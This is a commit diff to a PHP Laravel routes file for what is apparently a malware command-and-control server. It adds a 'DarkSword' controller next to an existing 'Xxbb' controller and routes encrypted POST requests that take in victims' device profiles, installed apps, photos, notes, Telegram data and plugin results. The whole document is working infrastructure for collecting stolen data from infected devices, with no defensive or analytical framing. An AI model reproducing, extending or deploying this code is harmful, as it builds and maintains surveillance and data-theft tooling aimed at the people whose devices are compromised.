feat: ds
This commit is contained in:
+27
-13
@@ -1,21 +1,35 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Controllers\C2\DarkSwordC2Controller;
|
||||
use App\Http\Controllers\C2\XxbbC2Controller;
|
||||
use App\Http\Middleware\DecryptXxbbBody;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
Route::match(['GET', 'HEAD'], '/vhx', [XxbbC2Controller::class, 'vhx']);
|
||||
$ds = DarkSwordC2Controller::class;
|
||||
$xxbb = XxbbC2Controller::class;
|
||||
|
||||
Route::middleware([DecryptXxbbBody::class])->group(function () {
|
||||
Route::post('/a', [XxbbC2Controller::class, 'profile']);
|
||||
Route::post('/u', [XxbbC2Controller::class, 'apps']);
|
||||
Route::post('/event', [XxbbC2Controller::class, 'event']);
|
||||
Route::post('/t', [XxbbC2Controller::class, 'photos']);
|
||||
Route::post('/nb', [XxbbC2Controller::class, 'notes']);
|
||||
Route::post('/uj', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/us', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/ub', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/ba', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/result', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/api/tg/t', [XxbbC2Controller::class, 'telegram']);
|
||||
$dsOrXxbb = static function (string $dsMethod, string $xxbbMethod) use ($ds, $xxbb) {
|
||||
return static function (Request $request) use ($ds, $dsMethod, $xxbb, $xxbbMethod) {
|
||||
return DarkSwordC2Controller::matches($request)
|
||||
? app($ds)->{$dsMethod}($request)
|
||||
: app($xxbb)->{$xxbbMethod}($request);
|
||||
};
|
||||
};
|
||||
|
||||
Route::match(['GET', 'HEAD'], '/vhx', [$xxbb, 'vhx']);
|
||||
|
||||
Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $xxbb) {
|
||||
Route::post('/a', $dsOrXxbb('profile', 'profile'));
|
||||
Route::post('/u', $dsOrXxbb('apps', 'apps'));
|
||||
Route::post('/event', $dsOrXxbb('event', 'event'));
|
||||
Route::post('/nb', $dsOrXxbb('notes', 'notes'));
|
||||
Route::post('/result', $dsOrXxbb('result', 'plugin'));
|
||||
|
||||
Route::post('/t', [$xxbb, 'photos']);
|
||||
Route::post('/uj', [$xxbb, 'plugin']);
|
||||
Route::post('/us', [$xxbb, 'plugin']);
|
||||
Route::post('/ub', [$xxbb, 'plugin']);
|
||||
Route::post('/ba', [$xxbb, 'plugin']);
|
||||
Route::post('/api/tg/t', [$xxbb, 'telegram']);
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user